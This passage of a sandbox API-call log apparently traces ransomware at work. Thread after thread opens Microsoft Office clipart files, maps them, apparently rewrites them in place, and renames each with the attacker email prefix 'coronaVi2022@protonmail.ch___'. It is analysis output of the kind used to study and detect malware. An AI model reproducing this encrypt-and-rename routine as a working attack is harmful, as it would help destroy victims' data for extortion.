	[0092.323] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00160_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00160_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___ag00160_.gif")) returned 1
	[0092.367] free (_Block=0x520a140) 
	[0092.367] RtlExitUserThread (Status=0x0) 

Thread:
	id = 372
	os_tid = 0x165c

	[0091.636] _alloca_probe () returned 0x40328a
	[0091.637] GetCurrentThreadId () returned 0x165c
	[0091.637] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.gif", dwFileAttributes=0x80) returned 1
	[0091.900] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00161_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x89c
	[0091.900] GetFileSizeEx (in: hFile=0x89c, lpFileSize=0x4e8ff5c | out: lpFileSize=0x4e8ff5c*=7583) returned 1
	[0091.900] CreateFileMappingA (hFile=0x89c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1dad, lpName=0x0) returned 0x980
	[0091.908] MapViewOfFile (hFileMappingObject=0x980, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x5ec0000
	[0091.947] UnmapViewOfFile (lpBaseAddress=0x5ec0000) returned 1
	[0091.947] CloseHandle (hObject=0x980) returned 1
	[0091.947] GetCurrentThreadId () returned 0x165c
	[0091.947] FlushFileBuffers (hFile=0x89c) returned 1
	[0092.317] CloseHandle (hObject=0x89c) returned 1
	[0092.328] _swprintf (in: param_1=0x4e89f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00161_.gif") returned 97
	[0092.328] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00161_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00161_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___ag00161_.gif")) returned 1
	[0092.379] free (_Block=0x520c150) 
	[0092.379] RtlExitUserThread (Status=0x0) 

Thread:
	id = 373
	os_tid = 0x1660

	[0091.639] _alloca_probe () returned 0x40328a
	[0091.639] GetCurrentThreadId () returned 0x1660
	[0091.639] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.gif", dwFileAttributes=0x80) returned 1
	[0091.900] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00163_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8c0
	[0091.901] GetFileSizeEx (in: hFile=0x8c0, lpFileSize=0x4fcff5c | out: lpFileSize=0x4fcff5c*=6984) returned 1
	[0091.901] CreateFileMappingA (hFile=0x8c0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1b4f, lpName=0x0) returned 0x984
	[0091.909] MapViewOfFile (hFileMappingObject=0x984, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x5ed0000
	[0092.033] UnmapViewOfFile (lpBaseAddress=0x5ed0000) returned 1
	[0092.033] CloseHandle (hObject=0x984) returned 1
	[0092.033] GetCurrentThreadId () returned 0x1660
	[0092.033] FlushFileBuffers (hFile=0x8c0) returned 1
	[0092.316] CloseHandle (hObject=0x8c0) returned 1
	[0092.327] _swprintf (in: param_1=0x4fc9f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00163_.gif") returned 97
	[0092.327] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00163_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00163_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___ag00163_.gif")) returned 1
	[0092.376] free (_Block=0x5208130) 
	[0092.376] RtlExitUserThread (Status=0x0) 

Thread:
	id = 374
	os_tid = 0x1664

	[0091.640] _alloca_probe () returned 0x40328a
	[0091.641] GetCurrentThreadId () returned 0x1664
	[0091.641] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.gif", dwFileAttributes=0x80) returned 1
	[0091.901] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00164_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8d8
	[0091.901] GetFileSizeEx (in: hFile=0x8d8, lpFileSize=0x510ff5c | out: lpFileSize=0x510ff5c*=13254) returned 1
	[0091.901] CreateFileMappingA (hFile=0x8d8, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x33cb, lpName=0x0) returned 0x988
	[0091.910] MapViewOfFile (hFileMappingObject=0x988, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x5ee0000
	[0092.031] UnmapViewOfFile (lpBaseAddress=0x5ee0000) returned 1
	[0092.032] CloseHandle (hObject=0x988) returned 1
	[0092.032] GetCurrentThreadId () returned 0x1664
	[0092.032] FlushFileBuffers (hFile=0x8d8) returned 1
	[0092.316] CloseHandle (hObject=0x8d8) returned 1
	[0092.327] _swprintf (in: param_1=0x5109f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00164_.gif") returned 97
	[0092.327] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00164_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00164_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___ag00164_.gif")) returned 1
	[0092.377] free (_Block=0x520b148) 
	[0092.377] RtlExitUserThread (Status=0x0) 

Thread:
	id = 375
	os_tid = 0x1668

	[0091.642] _alloca_probe () returned 0x40328a
	[0091.643] GetCurrentThreadId () returned 0x1668
	[0091.643] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.gif", dwFileAttributes=0x80) returned 1
	[0091.901] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00165_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8f8
	[0091.901] GetFileSizeEx (in: hFile=0x8f8, lpFileSize=0x54eff5c | out: lpFileSize=0x54eff5c*=8582) returned 1
	[0091.901] CreateFileMappingA (hFile=0x8f8, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x218b, lpName=0x0) returned 0x98c
	[0091.910] MapViewOfFile (hFileMappingObject=0x98c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x5ef0000
	[0092.029] UnmapViewOfFile (lpBaseAddress=0x5ef0000) returned 1
	[0092.029] CloseHandle (hObject=0x98c) returned 1
	[0092.029] GetCurrentThreadId () returned 0x1668
	[0092.029] FlushFileBuffers (hFile=0x8f8) returned 1
	[0092.314] CloseHandle (hObject=0x8f8) returned 1
	[0092.325] _swprintf (in: param_1=0x54e9f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00165_.gif") returned 97
	[0092.325] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00165_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00165_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___ag00165_.gif")) returned 1
	[0092.373] free (_Block=0x5205118) 
	[0092.373] RtlExitUserThread (Status=0x0) 

Thread:
	id = 376
	os_tid = 0x166c

	[0091.645] _alloca_probe () returned 0x40328a
	[0091.657] GetCurrentThreadId () returned 0x166c
	[0091.657] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.gif", dwFileAttributes=0x80) returned 1
	[0091.902] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00167_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x91c
	[0091.902] GetFileSizeEx (in: hFile=0x91c, lpFileSize=0x55eff5c | out: lpFileSize=0x55eff5c*=4894) returned 1
	[0091.902] CreateFileMappingA (hFile=0x91c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x132b, lpName=0x0) returned 0x990
	[0091.911] MapViewOfFile (hFileMappingObject=0x990, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x5f00000
	[0091.998] UnmapViewOfFile (lpBaseAddress=0x5f00000) returned 1
	[0091.998] CloseHandle (hObject=0x990) returned 1
	[0091.998] GetCurrentThreadId () returned 0x166c
	[0091.998] FlushFileBuffers (hFile=0x91c) returned 1
	[0092.315] CloseHandle (hObject=0x91c) returned 1
	[0092.326] _swprintf (in: param_1=0x55e9f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00167_.gif") returned 97
	[0092.326] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00167_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00167_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___ag00167_.gif")) returned 1
	[0092.374] free (_Block=0x520e160) 
	[0092.374] RtlExitUserThread (Status=0x0) 

Thread:
	id = 377
	os_tid = 0x1670

	[0091.666] _alloca_probe () returned 0x40328a
	[0091.667] GetCurrentThreadId () returned 0x1670
	[0091.667] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.gif", dwFileAttributes=0x80) returned 1
	[0091.902] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00169_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x924
	[0091.902] GetFileSizeEx (in: hFile=0x924, lpFileSize=0x56eff5c | out: lpFileSize=0x56eff5c*=5375) returned 1
	[0091.902] CreateFileMappingA (hFile=0x924, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x150d, lpName=0x0) returned 0x994
	[0091.911] MapViewOfFile (hFileMappingObject=0x994, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x5f10000
	[0091.999] UnmapViewOfFile (lpBaseAddress=0x5f10000) returned 1
	[0091.999] CloseHandle (hObject=0x994) returned 1
	[0091.999] GetCurrentThreadId () returned 0x1670
	[0091.999] FlushFileBuffers (hFile=0x924) returned 1
	[0092.311] CloseHandle (hObject=0x924) returned 1
	[0092.322] _swprintf (in: param_1=0x56e9f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00169_.gif") returned 97
	[0092.322] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00169_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00169_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___ag00169_.gif")) returned 1
	[0092.365] free (_Block=0x520d158) 
	[0092.365] RtlExitUserThread (Status=0x0) 

Thread:
	id = 378
	os_tid = 0x1674

	[0091.669] _alloca_probe () returned 0x40328a
	[0091.669] GetCurrentThreadId () returned 0x1674
	[0091.669] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.gif", dwFileAttributes=0x80) returned 1
	[0091.902] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00170_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x928
	[0091.902] GetFileSizeEx (in: hFile=0x928, lpFileSize=0x582ff5c | out: lpFileSize=0x582ff5c*=9248) returned 1
	[0091.903] CreateFileMappingA (hFile=0x928, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2420, lpName=0x0) returned 0x8e8
	[0091.903] MapViewOfFile (hFileMappingObject=0x8e8, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x23f0000
	[0091.949] UnmapViewOfFile (lpBaseAddress=0x23f0000) returned 1
	[0091.949] CloseHandle (hObject=0x8e8) returned 1
	[0091.949] GetCurrentThreadId () returned 0x1674
	[0091.949] FlushFileBuffers (hFile=0x928) returned 1
	[0092.312] CloseHandle (hObject=0x928) returned 1
	[0092.312] _swprintf (in: param_1=0x5829f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00170_.gif") returned 97
	[0092.312] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00170_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00170_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___ag00170_.gif")) returned 1
	[0092.359] free (_Block=0x2fe28e8) 
	[0092.359] RtlExitUserThread (Status=0x0) 

Thread:
	id = 379
	os_tid = 0x1678

	[0091.671] _alloca_probe () returned 0x40328a
	[0091.671] GetCurrentThreadId () returned 0x1678
	[0091.671] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.gif", dwFileAttributes=0x80) returned 1
	[0091.903] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00171_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x940
	[0091.903] GetFileSizeEx (in: hFile=0x940, lpFileSize=0x596ff5c | out: lpFileSize=0x596ff5c*=5016) returned 1
	[0091.903] CreateFileMappingA (hFile=0x940, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x139f, lpName=0x0) returned 0x998
	[0091.911] MapViewOfFile (hFileMappingObject=0x998, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x5f20000
	[0091.978] UnmapViewOfFile (lpBaseAddress=0x5f20000) returned 1
	[0091.978] CloseHandle (hObject=0x998) returned 1
	[0091.978] GetCurrentThreadId () returned 0x1678
	[0091.978] FlushFileBuffers (hFile=0x940) returned 1
	[0092.311] CloseHandle (hObject=0x940) returned 1
	[0092.320] _swprintf (in: param_1=0x5969f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00171_.gif") returned 97
	[0092.320] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00171_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00171_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___ag00171_.gif")) returned 1
	[0092.362] free (_Block=0x2fdd8c0) 
	[0092.362] RtlExitUserThread (Status=0x0) 

Thread:
	id = 380
	os_tid = 0x167c

	[0091.672] _alloca_probe () returned 0x40328a
	[0091.673] GetCurrentThreadId () returned 0x167c
	[0091.673] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.gif", dwFileAttributes=0x80) returned 1
	[0091.903] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00172_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x958
	[0091.903] GetFileSizeEx (in: hFile=0x958, lpFileSize=0x5aaff5c | out: lpFileSize=0x5aaff5c*=4390) returned 1
	[0091.904] CreateFileMappingA (hFile=0x958, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x112b, lpName=0x0) returned 0x99c
	[0091.911] MapViewOfFile (hFileMappingObject=0x99c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x5f30000
	[0091.996] UnmapViewOfFile (lpBaseAddress=0x5f30000) returned 1
	[0091.996] CloseHandle (hObject=0x99c) returned 1
	[0091.996] GetCurrentThreadId () returned 0x167c
	[0091.996] FlushFileBuffers (hFile=0x958) returned 1
	[0092.315] CloseHandle (hObject=0x958) returned 1
	[0092.326] _swprintf (in: param_1=0x5aa9f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00172_.gif") returned 97
	[0092.326] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00172_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00172_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___ag00172_.gif")) returned 1
	[0092.374] free (_Block=0x2fe5900) 
	[0092.374] RtlExitUserThread (Status=0x0) 

Thread:
	id = 381
	os_tid = 0x1680

	[0091.674] _alloca_probe () returned 0x40328a
	[0091.675] GetCurrentThreadId () returned 0x1680
	[0091.675] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.gif", dwFileAttributes=0x80) returned 1
	[0091.904] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00174_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x780
	[0091.904] GetFileSizeEx (in: hFile=0x780, lpFileSize=0x5beff5c | out: lpFileSize=0x5beff5c*=3966) returned 1
	[0091.904] CreateFileMappingA (hFile=0x780, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xf8b, lpName=0x0) returned 0x9a0
	[0091.912] MapViewOfFile (hFileMappingObject=0x9a0, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x5f40000
	[0091.980] UnmapViewOfFile (lpBaseAddress=0x5f40000) returned 1
	[0091.980] CloseHandle (hObject=0x9a0) returned 1
	[0091.980] GetCurrentThreadId () returned 0x1680
	[0091.980] FlushFileBuffers (hFile=0x780) returned 1
	[0092.310] CloseHandle (hObject=0x780) returned 1
	[0092.320] _swprintf (in: param_1=0x5be9f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00174_.gif") returned 97
	[0092.320] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00174_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00174_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___ag00174_.gif")) returned 1
	[0092.361] free (_Block=0x2fe08d8) 
	[0092.361] RtlExitUserThread (Status=0x0) 

Thread:
	id = 382
	os_tid = 0x1684

	[0091.677] _alloca_probe () returned 0x40328a
	[0091.677] GetCurrentThreadId () returned 0x1684
	[0091.677] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.gif", dwFileAttributes=0x80) returned 1
	[0091.904] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00175_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x750
	[0091.904] GetFileSizeEx (in: hFile=0x750, lpFileSize=0x5d2ff5c | out: lpFileSize=0x5d2ff5c*=3378) returned 1
	[0091.904] CreateFileMappingA (hFile=0x750, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd33, lpName=0x0) returned 0x9a4
	[0091.912] MapViewOfFile (hFileMappingObject=0x9a4, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x5f50000
	[0091.976] UnmapViewOfFile (lpBaseAddress=0x5f50000) returned 1
	[0091.976] CloseHandle (hObject=0x9a4) returned 1
	[0091.976] GetCurrentThreadId () returned 0x1684
	[0091.976] FlushFileBuffers (hFile=0x750) returned 1
	[0092.311] CloseHandle (hObject=0x750) returned 1
	[0092.322] _swprintf (in: param_1=0x5d29f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00175_.gif") returned 97
	[0092.322] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00175_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00175_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___ag00175_.gif")) returned 1
	[0092.366] free (_Block=0x2fe48f8) 
	[0092.366] RtlExitUserThread (Status=0x0) 

Thread:
	id = 384
	os_tid = 0x1688

	[0091.680] _alloca_probe () returned 0x40328a
	[0091.680] GetCurrentThreadId () returned 0x1688
	[0091.680] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.gif", dwFileAttributes=0x80) returned 1
	[0091.904] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00176_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x830
	[0091.905] GetFileSizeEx (in: hFile=0x830, lpFileSize=0x5e6ff5c | out: lpFileSize=0x5e6ff5c*=3120) returned 1
	[0091.905] CreateFileMappingA (hFile=0x830, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc30, lpName=0x0) returned 0x83c
	[0091.905] MapViewOfFile (hFileMappingObject=0x83c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2400000
	[0091.947] UnmapViewOfFile (lpBaseAddress=0x2400000) returned 1
	[0091.947] CloseHandle (hObject=0x83c) returned 1
	[0091.948] GetCurrentThreadId () returned 0x1688
	[0091.948] FlushFileBuffers (hFile=0x830) returned 1
	[0092.317] CloseHandle (hObject=0x830) returned 1
	[0092.318] _swprintf (in: param_1=0x5e69f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00176_.gif") returned 97
	[0092.318] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00176_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00176_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___ag00176_.gif")) returned 1
	[0092.360] free (_Block=0x2fdf8d0) 
	[0092.360] RtlExitUserThread (Status=0x0) 

Thread:
	id = 385
	os_tid = 0x168c

	[0091.920] _alloca_probe () returned 0x40328a
	[0091.921] GetCurrentThreadId () returned 0x168c
	[0091.921] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.gif", dwFileAttributes=0x80) returned 1
